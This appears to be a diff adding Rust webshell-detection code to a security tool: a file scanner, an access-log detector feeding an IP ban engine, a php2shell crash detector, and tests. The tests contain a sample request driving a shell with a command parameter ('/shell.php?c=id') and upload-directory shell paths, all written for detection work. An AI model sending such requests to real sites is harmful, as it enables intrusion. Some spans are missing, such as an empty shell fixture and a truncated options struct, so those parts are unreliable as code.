198.51.100.7:55342] PHP Fatal error: Allowed memory size of 4194304 bytes exhausted (tried to allocate 67112960 bytes) in /var/www/html/oom.php on line 1"; + const NGINX_FPM_STARTUP_OOM: &str = r#"2026/10/31 16:40:22 [error] 22#22: *3 upstream sent unexpected FastCGI record: 3 while reading response header from upstream, client: 203.0.113.9, server: , request: "POST /index.php HTTP/1.1", upstream: "fastcgi://172.19.0.3:9000", host: "127.0.0.1:18080""#; + const FPM_LOG_STARTUP_OOM: &str = "NOTICE: PHP message: PHP Fatal error: Allowed memory size of 4194304 bytes exhausted (tried to allocate 2097152 bytes) in Unknown on line 0"; + + #[test] + fn test_attempts_are_read_from_lab_log_lines() { + let found = Php2ShellAttemptDetector.detect(&crash_entries(&[ + APACHE_STARTUP_OOM, + NGINX_FPM_STARTUP_OOM, + r#"203.0.113.10 - - [31/Oct/2026:16:40:22 +0000] "POST / HTTP/1.1" 500 5 "-" "php2shell-109618""#, + ])); + assert_eq!(found.len(), 3); + assert!(found + .iter() + .all(|finding| finding.detector_id == ATTEMPT_DETECTOR_ID)); + // The nginx line names this server too (`host: "127.0.0.1:18080"`); + // only the client may reach the ban. + for finding in &found[..2] { + assert_eq!( + crate::ip_ban::engine::IpBanEngine::extract_ip_candidates(&finding.sample_line), + vec!["203.0.113.9".to_string()], + "{}", + finding.sample_line + ); + } + } + + #[test] + fn test_ordinary_failures_are_not_attempts() { + let found = Php2ShellAttemptDetector.detect(&crash_entries(&[ + // A script running out of memory hits real users too. + APACHE_APP_OOM, + // php-fpm's own log has no client address. + FPM_LOG_STARTUP_OOM, + r#"2026/10/31 16:40:22 [error] 22#22: *3 upstream sent unexpected FastCGI record: 3 while reading response header from upstream, client: 198.51.100.7, server: , request: "GET /index.php HTTP/1.1""#, + r#"198.51.100.7 - - [31/Oct/2026:16:40:22 +0000] "GET /blog/php2shell-explained HTTP/1.1" 200 5 "-" "Mozilla/5.0""#, + ])); + assert!(found.is_empty(), "{found:#?}"); + } + + #[test] + fn test_scanner_agent_only_from_an_access_log_line() { + let found = Php2ShellAttemptDetector.detect(&crash_entries(&[ + r#"2026-10-31 10:00:00 upload rejected: filename "php2shell-report.pdf" too large (client 198.51.100.7)"#, + r#"198.51.100.7 - - [31/Oct/2026:16:40:22 +0000] "GET /docs/php2shell HTTP/1.1" 200 5 "-" "Mozilla/5.0""#, + ])); + assert!(found.is_empty(), "{found:#?}"); + } + + #[test] + fn test_identical_lines_each_count_through_the_registry() { + // Same second, same connection, same request: what a burst over one + // keep-alive connection logs. The registry must keep all five. + let lines = vec![NGINX_FPM_STARTUP_OOM; 5]; + let anomalies = crate::detectors::DetectorRegistry::default() + .detect_log_anomalies(&crash_entries(&lines)); + let attempts: Vec<_> = anomalies + .iter() + .filter(|anomaly| anomaly.detector_id.as_deref() == Some(ATTEMPT_DETECTOR_ID)) + .collect(); + assert_eq!(attempts.len(), 5); + for attempt in attempts { + assert_eq!( + crate::ip_ban::engine::IpBanEngine::extract_ip_candidates(&attempt.sample_line), + vec!["203.0.113.9".to_string()] + ); + } + } + + fn crash_entries(lines: &[&str]) -> Vec { + lines + .iter() + .map(|line| LogEntry { + source_id: "php-fpm".into(), + timestamp: Utc::now(), + line: (*line).into(), + metadata: HashMap::new(), + }) + .collect() + } + + #[test] + fn test_worker_crashes_need_a_run() { + let fpm = "[31-Oct-2026 10:00:00] WARNING: [pool www] child 4121 exited on signal 11 (SIGSEGV - core dumped) after 0.412000 seconds from start"; + let apache = "[Sat Oct 31 10:00:00.123 2026] [core:notice] [pid 1:tid 1] AH00052: child pid 4122 exit signal Segmentation fault (11)"; + let graceful = "[31-Oct-2026 10:00:00] NOTICE: [pool www] child 4123 exited on signal 3 (SIGQUIT) after 30.0 seconds from start"; + + assert!(PhpWorkerCrashDetector + .detect(&crash_entries(&[fpm, apache, graceful])) + .is_empty()); + + let found = PhpWorkerCrashDetector.detect(&crash_entries(&[fpm, apache, fpm, graceful])); + assert_eq!(found.len(), 1); + assert_eq!(found[0].detector_id, CRASH_DETECTOR_ID); + assert!(!crate::ip_ban::gate::names_confirmed_attack( + &found[0].description + )); + } +} diff --git a/src/detectors/php_shell/access.rs b/src/detectors/php_shell/access.rs new file mode 100644 index 0000000..e8e0f97 --- /dev/null +++ b/src/detectors/php_shell/access.rs @@ -0,0 +1,417 @@ +//! Requests to PHP shells, read from access logs. +//! +//! Banning a visitor of an infected *legitimate* page would ban the site's +//! audience: a backdoor injected into `index.php` is fetched by everyone. So a +//! request is grounds for a ban only when it can come from nobody but the +//! attacker: +//! +//! - any request to a flagged file in an upload directory, with the upload +//! directory in the URL — no visitor has a reason to execute an upload; +//! - a request with parameters (query string or POST) to a flagged file that +//! is not a common entry point — that is someone driving the shell; +//! - a POST to any PHP file under an `uploads/` URL, flagged or not yet. +//! +//! The URL side of "upload directory" is only `uploads/`: `/images/`, +//! `/files/` and `/tmp/` are ordinary URL trees with real PHP endpoints. +//! +//! Other requests to flagged files raise an alert-only finding. + +use std::collections::HashSet; + +use crate::detectors::http_request::{extract_request, HttpRequest}; +use crate::detectors::{DetectorFamily, DetectorFinding, LogDetector}; +use crate::ip_ban::engine::IpBanEngine; +use crate::sniff::analyzer::AnomalySeverity; +use crate::sniff::reader::LogEntry; + +use super::{FlaggedFile, FlaggedFiles, PHP_EXTENSIONS}; + +pub const ACCESS_DETECTOR_ID: &str = "web.php-shell-access"; +/// Alert-only: a flagged file was requested in a way visitors also do. +pub const REQUEST_DETECTOR_ID: &str = "php.shell-request"; + +/// One finding per client per pass is enough to count an offense; more only +/// floods the alert channel. +const MAX_FINDINGS: usize = 20; + +/// URL segments that mark an upload directory. Narrower than the scanner's +/// list, because a ban rests on it. +const URL_UPLOAD_DIR_SEGMENTS: &[&str] = &["uploads"]; + +/// Files every visitor of a PHP site requests, with parameters. +const COMMON_ENTRY_POINTS: &[&str] = &[ + "index.php", + "wp-login.php", + "wp-cron.php", + "xmlrpc.php", + "admin-ajax.php", + "admin-post.php", + "admin.php", + "login.php", + "wp-comments-post.php", +]; + +pub struct PhpShellAccessDetector { + flagged: FlaggedFiles, +} + +impl PhpShellAccessDetector { + pub fn new(flagged: FlaggedFiles) -> Self { + Self { flagged } + } +} + +enum Verdict { + Ban(&'static str), + Alert, +} + +impl LogDetector for PhpShellAccessDetector { + fn id(&self) -> &'static str { + ACCESS_DETECTOR_ID + } + + fn family(&self) -> DetectorFamily { + DetectorFamily::Web + } + + fn detect(&self, entries: &[LogEntry]) -> Vec { + let flagged = match self.flagged.read() { + Ok(flagged) => flagged.clone(), + Err(_) => return Vec::new(), + }; + + let mut seen = HashSet::new(); + let mut findings = Vec::new(); + + for entry in entries { + if findings.len() >= MAX_FINDINGS { + break; + } + let Some(request) = extract_request(&entry.line) else { + continue; + }; + let Some(verdict) = judge(&request, &flagged) else { + continue; + }; + + let client = IpBanEngine::extract_ip_candidates(&entry.line) + .into_iter() + .next() + .unwrap_or_default(); + let detector_id = match verdict { + Verdict::Ban(_) => ACCESS_DETECTOR_ID, + Verdict::Alert => REQUEST_DETECTOR_ID, + }; + if !seen.insert((detector_id, client)) { + continue; + } + + findings.push(match verdict { + Verdict::Ban(reason) => DetectorFinding { + detector_id: ACCESS_DETECTOR_ID.into(), + family: DetectorFamily::Web, + description: format!( + "PHP shell access: {} {} ({})", + request.method, request.path, reason + ), + severity: AnomalySeverity::Critical, + confidence: 92, + sample_line: entry.line.clone(), + }, + Verdict::Alert => DetectorFinding { + detector_id: REQUEST_DETECTOR_ID.into(), + family: DetectorFamily::Web, + description: format!( + "Request to a file flagged as a PHP shell: {} {}", + request.method, request.path + ), + severity: AnomalySeverity::High, + confidence: 70, + sample_line: entry.line.clone(), + }, + }); + } + + findings + } +} + +fn judge(request: &HttpRequest, flagged: &[FlaggedFile]) -> Option { + let path = script_path(&request.path); + let file_name = path.rsplit('/').next().unwrap_or_default(); + if file_name.is_empty() { + return None; + } + let url_in_uploads = in_url_upload_dir(&path); + + if let Some(file) = flagged + .iter() + .find(|file| same_file(&file.logical_path, &path)) + { + // The URL must carry the upload directory itself: a suffix match of + // `/index.php` against `.../uploads/index.php` is the front page. + if file.in_upload_dir && url_in_uploads { + return Some(Verdict::Ban("flagged file in an upload directory")); + } + if request.has_parameters() && !COMMON_ENTRY_POINTS.contains(&file_name) { + return Some(Verdict::Ban("parameters sent to a flagged file")); + } + return Some(Verdict::Alert); + } + + if request.method == "POST" && is_php(file_name) && url_in_uploads { + return Some(Verdict::Ban("POST to PHP in an upload directory")); + } + + None +} + +/// The script a request executes. Segments are normalised the way the web +/// server resolves them (`//`, `.`, `..`), and anything after the first PHP +/// segment is PATH_INFO: `/up/x.php/cmd` and `/up/x.php/` both run `x.php`. +fn script_path(request_path: &str) -> String { + let mut segments: Vec<&str> = Vec::new(); + for segment in request_path.split('/') { + match segment { + "" | "." => {} + ".." => { + segments.pop(); + } + segment => { + segments.push(segment); + if is_php(segment) { + break; + } + } + } + } + format!("/{}", segments.join("/")) +} + +fn in_url_upload_dir(path: &str) -> bool { + let lower = path.to_ascii_lowercase(); + lower + .split('/') + .rev() + .skip(1) // the file name itself + .any(|segment| URL_UPLOAD_DIR_SEGMENTS.contains(&segment)) +} + +/// The file at `logical_path` (`/var/www/html/up/x.php`) is what a request +/// for `request_path` (`/up/x.php`) executes. The docroot is not known, so +/// the URL must be a suffix of the file path on a segment boundary. A suffix +/// that leaves an upload directory out (`/x.php` against +/// `.../uploads/2026/x.php`) names some other file: a docroot does not sit +/// inside `uploads/`. +fn same_file(logical_path: &str, request_path: &str) -> bool { + let request_path = request_path.trim_end_matches('/'); + if request_path.is_empty() { + return false; + } + let request_path = if request_path.starts_with('/') { + request_path.to_string() + } else { + format!("/{}", request_path) + }; + let Some(docroot) = logical_path.strip_suffix(request_path.as_str()) else { + return false; + }; + !docroot + .to_ascii_lowercase() + .split('/') + .any(|segment| URL_UPLOAD_DIR_SEGMENTS.contains(&segment)) +} + +fn is_php(file_name: &str) -> bool { + file_name + .rsplit_once('.') + .map(|(_, ext)| PHP_EXTENSIONS.contains(&ext.to_ascii_lowercase().as_str())) + .unwrap_or(false) +} + +#[cfg(test)] +mod tests { + use super::*; + use chrono::Utc; + use std::collections::HashMap; + use std::sync::{Arc, RwLock}; + + fn entries(lines: &[&str]) -> Vec { + lines + .iter() + .map(|line| LogEntry { + source_id: "nginx".into(), + timestamp: Utc::now(), + line: (*line).into(), + metadata: HashMap::new(), + }) + .collect() + } + + fn detector(files: &[(&str, bool)]) -> PhpShellAccessDetector { + PhpShellAccessDetector::new(Arc::new(RwLock::new( + files + .iter() + .map(|(path, upload)| FlaggedFile { + logical_path: (*path).into(), + in_upload_dir: *upload, + }) + .collect(), + ))) + } + + fn line(ip: &str, method: &str, target: &str) -> String { + format!( + r#"{ip} - - [31/Oct/2026:10:00:00 +0000] "{method} {target} HTTP/1.1" 200 5 "-" "x""# + ) + } + + #[test] + fn test_any_request_to_flagged_upload_bans() { + let detector = detector(&[("/var/www/html/wp-content/uploads/x.php", true)]); + let findings = detector.detect(&entries(&[&line( + "203.0.113.9", + "GET", + "/wp-content/uploads/x.php", + )])); + assert_eq!(findings.len(), 1); + assert_eq!(findings[0].detector_id, ACCESS_DETECTOR_ID); + } + + #[test] + fn test_parameters_to_flagged_file_ban() { + let detector = detector(&[("/var/www/html/shell.php", false)]); + let found = detector.detect(&entries(&[&line("203.0.113.9", "GET", "/shell.php?c=id")])); + assert_eq!(found[0].detector_id, ACCESS_DETECTOR_ID); + + let found = detector.detect(&entries(&[&line("203.0.113.9", "GET", "/shell.php")])); + assert_eq!(found[0].detector_id, REQUEST_DETECTOR_ID); + } + + #[test] + fn test_visitors_of_infected_entry_point_are_not_banned() { + let detector = detector(&[("/var/www/html/index.php", false)]); + let found = detector.detect(&entries(&[&line("198.51.100.7", "GET", "/index.php?p=42")])); + assert_eq!(found.len(), 1); + assert_eq!(found[0].detector_id, REQUEST_DETECTOR_ID); + assert!(!found[0] + .description + .to_ascii_lowercase() + .contains("webshell")); + } + + #[test] + fn test_post_to_php_in_uploads_bans_without_scan() { + let detector = detector(&[]); + let found = detector.detect(&entries(&[&line( + "203.0.113.9", + "POST", + "/uploads/2026/a.php", + )])); + assert_eq!(found[0].detector_id, ACCESS_DETECTOR_ID); + + assert!(detector + .detect(&entries(&[&line( + "203.0.113.9", + "GET", + "/uploads/2026/a.php" + )])) + .is_empty()); + assert!(detector + .detect(&entries(&[&line( + "203.0.113.9", + "POST", + "/uploads/photo.jpg" + )])) + .is_empty()); + } + + #[test] + fn test_flagged_upload_does_not_ban_a_same_named_docroot_file() { + let detector = detector(&[ + ("/var/www/html/wp-content/uploads/index.php", true), + ("/var/www/html/wp-content/uploads/2026/x.php", true), + ]); + for target in ["/index.php", "/x.php", "/x.php?a=1", "/index.php?p=42"] { + let found = detector.detect(&entries(&[&line("198.51.100.7", "GET", target)])); + assert!(found.is_empty(), "{target} is another file"); + } + let found = detector.detect(&entries(&[&line( + "203.0.113.9", + "GET", + "/wp-content/uploads/index.php", + )])); + assert_eq!(found[0].detector_id, ACCESS_DETECTOR_ID); + } + + #[test] + fn test_post_to_php_under_ordinary_url_trees_does_not_ban() { + let detector = detector(&[]); + for target in [ + "/images/thumb.php", + "/files/download.php", + "/tmp/x.php", + "/upload/index.php", + ] { + assert!( + detector + .detect(&entries(&[&line("198.51.100.7", "POST", target)])) + .is_empty(), + "{target} must not ban" + ); + } + } + + #[test] + fn test_path_info_and_trailing_slash_reach_the_script() { + let detector = detector(&[("/var/www/html/uploads/x.php", true)]); + for (method, target) in [ + ("GET", "/uploads/x.php/"), + ("POST", "/uploads/x.php/cmd"), + ("GET", "/uploads//./x.php"), + ("GET", "/static/../uploads/x.php"), + ] { + let found = detector.detect(&entries(&[&line("203.0.113.9", method, target)])); + assert_eq!(found.len(), 1, "{method} {target}"); + assert_eq!( + found[0].detector_id, ACCESS_DETECTOR_ID, + "{method} {target}" + ); + } + + let found = self::detector(&[]).detect(&entries(&[&line( + "203.0.113.9", + "POST", + "/uploads/y.PHP/z", + )])); + assert_eq!(found[0].detector_id, ACCESS_DETECTOR_ID); + } + + #[test] + fn test_suffix_match_respects_segments() { + assert!(same_file("/var/www/html/up/x.php", "/up/x.php")); + assert!(!same_file("/var/www/html/backup/x.php", "/up/x.php")); + assert!(!same_file("/var/www/html/up/x.php", "/")); + assert!(same_file("/var/www/html/uploads/x.php", "/uploads/x.php")); + assert!(!same_file("/var/www/html/uploads/x.php", "/x.php")); + } + + #[test] + fn test_one_finding_per_client() { + let detector = detector(&[("/var/www/html/uploads/x.php", true)]); + let a = line("203.0.113.9", "POST", "/uploads/x.php"); + let b = line("203.0.113.10", "POST", "/uploads/x.php"); + let found = detector.detect(&entries(&[&a, &a, &b])); + assert_eq!(found.len(), 2); + } + + #[test] + fn test_stacker_agent_poll_is_ignored() { + let detector = detector(&[("/var/www/html/uploads/x.php", true)]); + let found = detector.detect(&entries(&[ + r#"{"msg":"[AUTHENTICATE AGENT VIA X-AGENT-ID AND BEARER TOKEN - START]","req":"\nServiceRequest HTTP/1.1 GET:/api/v1/agent/commands/wait/deployment_1\n query: ?\"timeout=10\"\n"}"#, + ])); + assert!(found.is_empty()); + } +} diff --git a/src/detectors/php_shell/mod.rs b/src/detectors/php_shell/mod.rs new file mode 100644 index 0000000..e1d160a --- /dev/null +++ b/src/detectors/php_shell/mod.rs @@ -0,0 +1,903 @@ +//! PHP webshell detection. +//! +//! Two halves that share one list of flagged files: +//! +//! - [`PhpShellScanner`] reads PHP files under web roots — host paths and the +//! docroots of PHP containers — and flags those whose content scores as a +//! webshell. A file names no attacker, so this alerts and never bans. +//! - [`PhpShellAccessDetector`] watches access logs for requests to flagged +//! files and for POSTs to PHP files in upload directories. Those lines carry +//! the client address, so they feed the IP ban engine. + +mod access; +pub mod signatures; + +use std::collections::HashMap; +use std::fs; +use std::io::Read; +use std::path::{Path, PathBuf}; +use std::sync::{Arc, Mutex, RwLock}; +use std::time::UNIX_EPOCH; + +use anyhow::Result; +use chrono::Utc; +use rusqlite::params; +use sha2::{Digest, Sha256}; + +use crate::database::connection::DbPool; +use crate::sniff::analyzer::AnomalySeverity; + +use self::signatures::{SignatureSet, Weight}; +use super::{DetectorFamily, DetectorFinding}; + +pub use self::access::{PhpShellAccessDetector, ACCESS_DETECTOR_ID}; + +pub const FILE_DETECTOR_ID: &str = "php.shell-file"; + +/// Score at which a file is reported. One strong signal, or a medium plus a +/// weak one; a PHP file in an upload directory alone (medium) is not enough, +/// because plugins drop `, + pub signatures_path: Option, +} + +impl Default for PhpShellOptions { + fn default() -> Self { + Self { + max_file_bytes: DEFAULT_MAX_FILE_BYTES, + skip_dirs: DEFAULT_SKIP_DIRS + .iter() + .map(|dir| dir.to_string()) + .collect(), + signatures_path: None, + } + } +} + +/// What a running container exposes to the scanner. +#[derive(Debug, Clone, Default)] +pub struct ContainerFilesystem { + pub id: String, + pub name: String, + pub image: String, + /// `(source on the host, destination in the container)`. + pub mounts: Vec<(String, String)>, + /// overlay2 `MergedDir`: the container's root filesystem on the host. + pub merged_dir: Option, + /// `PHP_VERSION` from the container environment, set by official PHP images. + pub php_version: Option, +} + +/// A file the scanner flagged, as the access detector needs to know it. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct FlaggedFile { + /// Path as the workload sees it, lowercased: `/var/www/html/up/x.php`. + pub logical_path: String, + pub in_upload_dir: bool, +} + +pub type FlaggedFiles = Arc>>; + +#[derive(Debug, Clone)] +struct CachedScan { + size_bytes: u64, + modified_at: i64, + score: u32, + logical_path: String, + in_upload_dir: bool, +} + +#[derive(Debug, Default)] +pub struct PhpShellScanner { + flagged: FlaggedFiles, + signatures: Mutex, Arc)>>, +} + +impl PhpShellScanner { + pub fn new() -> Self { + Self::default() + } + + /// Shared handle the access detector reads. + pub fn flagged_files(&self) -> FlaggedFiles { + Arc::clone(&self.flagged) + } + + /// Scan `roots`, report files that are new or changed since the last pass + /// and score as a webshell, and refresh the flagged list. + pub fn detect( + &self, + pool: &DbPool, + roots: &[ScanRoot], + options: &PhpShellOptions, + ) -> Result> { + if roots.is_empty() { + self.set_flagged(Vec::new()); + return Ok(Vec::new()); + } + + let signatures = self.signature_set(options); + let cached = load_cache(pool)?; + let mut current: HashMap = HashMap::new(); + let mut findings = Vec::new(); + let conn = pool.get()?; + + for root in roots { + let mut candidates = Vec::new(); + collect_candidates(root, &root.fs_path, options, &mut candidates); + if candidates.len() > MAX_FILES_PER_ROOT { + log::warn!( + "PHP shell scan: {} has {} candidate files, scanning the first {}", + root.fs_path.display(), + candidates.len(), + MAX_FILES_PER_ROOT + ); + candidates.truncate(MAX_FILES_PER_ROOT); + } + + for (path, metadata) in candidates { + let key = path.to_string_lossy().into_owned(); + let size_bytes = metadata.len(); + let modified_at = modified_secs(&metadata); + + if let Some(hit) = cached.get(&key) { + if hit.size_bytes == size_bytes && hit.modified_at == modified_at { + current.insert(key, hit.clone()); + continue; + } + } + + let Some(content) = read_bounded(&path, options.max_file_bytes) else { + continue; + }; + let logical_path = logical_path(root, &path); + let in_upload_dir = in_upload_dir_under(root, &path); + let verdict = score_file(&signatures, &path, &content, in_upload_dir); + let sha256 = format!("{:x}", Sha256::digest(&content)); + + conn.execute( + "INSERT INTO php_shell_scans ( + path, owner, logical_path, size_bytes, modified_at, sha256, + score, rules, in_upload_dir, scanned_at + ) VALUES (?1, ?2, ?3, ?4, ?5, ?6, ?7, ?8, ?9, ?10) + ON CONFLICT(path) DO UPDATE SET + owner = excluded.owner, + logical_path = excluded.logical_path, + size_bytes = excluded.size_bytes, + modified_at = excluded.modified_at, + sha256 = excluded.sha256, + score = excluded.score, + rules = excluded.rules, + in_upload_dir = excluded.in_upload_dir, + scanned_at = excluded.scanned_at", + params![ + &key, + &root.owner, + &logical_path, + size_bytes as i64, + modified_at, + &sha256, + verdict.score as i64, + verdict.rules.join(","), + in_upload_dir as i64, + Utc::now().to_rfc3339(), + ], + )?; + + if verdict.score >= FLAG_THRESHOLD { + findings.push(file_finding(root, &logical_path, &sha256, &verdict)); + } + + current.insert( + key, + CachedScan { + size_bytes, + modified_at, + score: verdict.score, + logical_path, + in_upload_dir, + }, + ); + } + } + + // A file that is gone, or a root that is no longer scanned, leaves the + // cache: if it comes back it is scanned — and reported — again. + for path in cached.keys() { + if !current.contains_key(path) { + conn.execute("DELETE FROM php_shell_scans WHERE path = ?1", params![path])?; + } + } + + self.set_flagged( + current + .values() + .filter(|scan| scan.score >= FLAG_THRESHOLD) + .map(|scan| FlaggedFile { + logical_path: scan.logical_path.to_ascii_lowercase(), + in_upload_dir: scan.in_upload_dir, + }) + .collect(), + ); + + findings.sort_by(|left, right| left.sample_line.cmp(&right.sample_line)); + Ok(findings) + } + + fn set_flagged(&self, files: Vec) { + if let Ok(mut flagged) = self.flagged.write() { + *flagged = files; + } + } + + fn signature_set(&self, options: &PhpShellOptions) -> Arc { + let mut slot = self + .signatures + .lock() + .unwrap_or_else(|poisoned| poisoned.into_inner()); + + if let Some((path, set)) = slot.as_ref() { + if path == &options.signatures_path { + return Arc::clone(set); + } + } + + let set = match options.signatures_path.as_deref() { + Some(path) => SignatureSet::with_file(path).unwrap_or_else(|err| { + log::warn!("{:#}; using built-in PHP shell signatures only", err); + SignatureSet::builtin() + }), + None => SignatureSet::builtin(), + }; + let set = Arc::new(set); + *slot = Some((options.signatures_path.clone(), Arc::clone(&set))); + set + } +} + +struct Verdict { + score: u32, + rules: Vec, +} + +fn score_file(signatures: &SignatureSet, path: &Path, content: &[u8], upload_dir: bool) -> Verdict { + let text = String::from_utf8_lossy(content); + let mut score = 0; + let mut rules = Vec::new(); + + for signature in signatures.matches(&text) { + score += signature.weight.points(); + rules.push(signature.id.clone()); + } + + if upload_dir { + if has_php_extension(path) { + score += Weight::Medium.points(); + rules.push("php-in-upload-dir".into()); + } else if contains_php_open_tag(&text) { + // An "image" in an upload directory that carries PHP is a polyglot + // waiting for an include(). Weak on its own: config files and docs + // mention " DetectorFinding { + DetectorFinding { + detector_id: FILE_DETECTOR_ID.into(), + family: DetectorFamily::Web, + description: format!( + "PHP shell indicators in {} on {} (score {}: {}; sha256 {})", + logical_path, + root.owner, + verdict.score, + verdict.rules.join(", "), + &sha256[..16.min(sha256.len())] + ), + severity: if verdict.score >= CRITICAL_THRESHOLD { + AnomalySeverity::Critical + } else { + AnomalySeverity::High + }, + confidence: (60 + verdict.score * 5).min(97) as u8, + sample_line: format!("{}:{}", root.owner, logical_path), + } +} + +fn load_cache(pool: &DbPool) -> Result> { + let conn = pool.get()?; + let mut stmt = conn.prepare( + "SELECT path, size_bytes, modified_at, score, logical_path, in_upload_dir + FROM php_shell_scans", + )?; + let rows = stmt.query_map([], |row| { + Ok(( + row.get::<_, String>(0)?, + CachedScan { + size_bytes: row.get::<_, i64>(1)? as u64, + modified_at: row.get(2)?, + score: row.get::<_, i64>(3)? as u32, + logical_path: row.get(4)?, + in_upload_dir: row.get::<_, i64>(5)? != 0, + }, + )) + })?; + + let mut cache = HashMap::new(); + for row in rows { + let (path, scan) = row?; + cache.insert(path, scan); + } + Ok(cache) +} + +/// Walk `dir` for files worth reading: PHP by extension anywhere, and any +/// file inside an upload directory. Unreadable entries are skipped — a web +/// root routinely holds files Stackdog may not open, and one of them must not +/// stop the scan of the rest. +fn collect_candidates( + root: &ScanRoot, + dir: &Path, + options: &PhpShellOptions, + out: &mut Vec<(PathBuf, fs::Metadata)>, +) { + let metadata = match fs::symlink_metadata(dir) { + Ok(metadata) => metadata, + Err(err) => { + log::debug!("PHP shell scan: skipping {}: {}", dir.display(), err); + return; + } + }; + + if metadata.file_type().is_symlink() { + return; + } + + if metadata.is_file() { + if has_php_extension(dir) || in_upload_dir_under(root, dir) { + out.push((dir.to_path_buf(), metadata)); + } + return; + } + + if !metadata.is_dir() || out.len() > MAX_FILES_PER_ROOT { + return; + } + + let entries = match fs::read_dir(dir) { + Ok(entries) => entries, + Err(err) => { + log::debug!("PHP shell scan: cannot read {}: {}", dir.display(), err); + return; + } + }; + + let mut paths: Vec = entries + .filter_map(|entry| entry.ok().map(|e| e.path())) + .collect(); + paths.sort(); + + for path in paths { + let skipped = path + .file_name() + .map(|name| options.skip_dirs.iter().any(|skip| name == skip.as_str())) + .unwrap_or(false); + if skipped && path.is_dir() { + continue; + } + collect_candidates(root, &path, options, out); + } +} + +fn read_bounded(path: &Path, max_bytes: u64) -> Option> { + let file = match fs::File::open(path) { + Ok(file) => file, + Err(err) => { + log::debug!("PHP shell scan: cannot open {}: {}", path.display(), err); + return None; + } + }; + let mut content = Vec::new(); + file.take(max_bytes).read_to_end(&mut content).ok()?; + Some(content) +} + +fn modified_secs(metadata: &fs::Metadata) -> i64 { + metadata + .modified() + .ok() + .and_then(|time| time.duration_since(UNIX_EPOCH).ok()) + .map(|duration| duration.as_secs() as i64) + .unwrap_or(0) +} + +fn logical_path(root: &ScanRoot, path: &Path) -> String { + let relative = path.strip_prefix(&root.fs_path).unwrap_or(path); + let base = root.logical_path.trim_end_matches('/'); + let relative = relative.to_string_lossy(); + if relative.is_empty() { + base.to_string() + } else { + format!("{}/{}", base, relative.trim_start_matches('/')) + } +} + +fn has_php_extension(path: &Path) -> bool { + path.extension() + .and_then(|ext| ext.to_str()) + .map(|ext| PHP_EXTENSIONS.contains(&ext.to_ascii_lowercase().as_str())) + .unwrap_or(false) +} + +/// Upload directory, judged inside the root only. Where the root itself sits +/// says nothing: a site deployed under `/srv/files/` or a temp checkout would +/// otherwise make every file in it an "upload". The root's own name does +/// count, for a volume mounted straight at `.../wp-content/uploads`. +fn in_upload_dir_under(root: &ScanRoot, path: &Path) -> bool { + let relative = path.strip_prefix(&root.fs_path).unwrap_or(path); + let root_name = root + .logical_path + .trim_end_matches('/') + .rsplit('/') + .next() + .unwrap_or_default(); + in_upload_dir(&format!("/{}/{}", root_name, relative.to_string_lossy())) +} + +pub(crate) fn in_upload_dir(path: &str) -> bool { + let lower = path.to_ascii_lowercase(); + lower + .split('/') + .rev() + .skip(1) // the file name itself + .any(|segment| UPLOAD_DIR_SEGMENTS.contains(&segment)) +} + +fn contains_php_open_tag(text: &str) -> bool { + text.to_ascii_lowercase().contains(" bool { + let mut run = 0; + for byte in text.bytes() { + if byte.is_ascii_alphanumeric() || matches!(byte, b'+' | b'/' | b'=') { + run += 1; + if run >= ENCODED_BLOB_MIN_LEN { + return true; + } + } else { + run = 0; + } + } + false +} + +/// Join a host path onto the host-root mount (`/host` when Stackdog runs in a +/// container with `/:/host:ro`; empty when it runs on the host). +pub fn under_host_root(host_root: Option<&str>, path: &str) -> PathBuf { + match host_root + .map(|root| root.trim_end_matches('/')) + .filter(|root| !root.is_empty()) + { + Some(root) => PathBuf::from(format!("{}/{}", root, path.trim_start_matches('/'))), + None => PathBuf::from(path), + } +} + +/// Roots for paths configured on the host. +pub fn host_roots(paths: &[String], host_root: Option<&str>) -> Vec { + paths + .iter() + .map(|path| path.trim()) + .filter(|path| !path.is_empty()) + .map(|path| ScanRoot { + fs_path: under_host_root(host_root, path), + logical_path: path.to_string(), + owner: "host".into(), + }) + .collect() +} + +/// Docroots of PHP containers. +/// +/// A container counts as PHP when its name or image matches `patterns`, or +/// when something is mounted at a docroot. Mounted docroots are read at their +/// host source; docroots baked into the image are read through the overlay +/// `MergedDir`. Both live on the host, so both go through `host_root`. +pub fn container_roots( + containers: &[ContainerFilesystem], + patterns: &[String], + host_root: Option<&str>, +) -> Vec { + let mut roots = Vec::new(); + + for container in containers { + let docroot_mounts: Vec<&(String, String)> = container + .mounts + .iter() + .filter(|(_, destination)| is_docroot(destination)) + .collect(); + + let identity = format!("{} {}", container.name, container.image).to_ascii_lowercase(); + let looks_php = patterns + .iter() + .any(|pattern| identity.contains(pattern.as_str())); + if !looks_php && docroot_mounts.is_empty() { + continue; + } + + for (source, destination) in &docroot_mounts { + roots.push(ScanRoot { + fs_path: under_host_root(host_root, source), + logical_path: destination.clone(), + owner: container.name.clone(), + }); + } + + if !looks_php { + continue; + } + let Some(merged) = container.merged_dir.as_deref() else { + continue; + }; + for prefix in DOCROOT_PREFIXES { + // Covered by a mount already: the overlay shows nothing there. + if docroot_mounts + .iter() + .any(|(_, destination)| path_within(prefix, destination)) + { + continue; + } + let fs_path = under_host_root(host_root, &format!("{}{}", merged, prefix)); + if fs_path.is_dir() { + roots.push(ScanRoot { + fs_path, + logical_path: (*prefix).to_string(), + owner: container.name.clone(), + }); + } + } + } + + roots +} + +fn is_docroot(destination: &str) -> bool { + DOCROOT_PREFIXES + .iter() + .any(|prefix| path_within(destination, prefix)) +} + +/// `path` is `base` or below it. +fn path_within(path: &str, base: &str) -> bool { + let base = base.trim_end_matches('/'); + path == base || path.starts_with(&format!("{}/", base)) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::database::connection::{create_pool, init_database}; + + const SHELL: &str = ""; + + fn pool() -> DbPool { + let pool = create_pool(":memory:").unwrap(); + init_database(&pool).unwrap(); + pool + } + + fn root(dir: &Path) -> ScanRoot { + ScanRoot { + fs_path: dir.to_path_buf(), + logical_path: "/var/www/html".into(), + owner: "host".into(), + } + } + + #[test] + fn test_flags_dropped_shell_and_reports_it_once() { + let dir = tempfile::tempdir().unwrap(); + fs::create_dir_all(dir.path().join("wp-content/uploads/2026")).unwrap(); + fs::write(dir.path().join("wp-content/uploads/2026/x.php"), SHELL).unwrap(); + fs::write( + dir.path().join("index.php"), + ""); + fs::write(dir.path().join("uploads/avatar.gif"), gif).unwrap(); + + let findings = PhpShellScanner::new() + .detect(&pool(), &[root(dir.path())], &PhpShellOptions::default()) + .unwrap(); + assert_eq!(findings.len(), 1); + 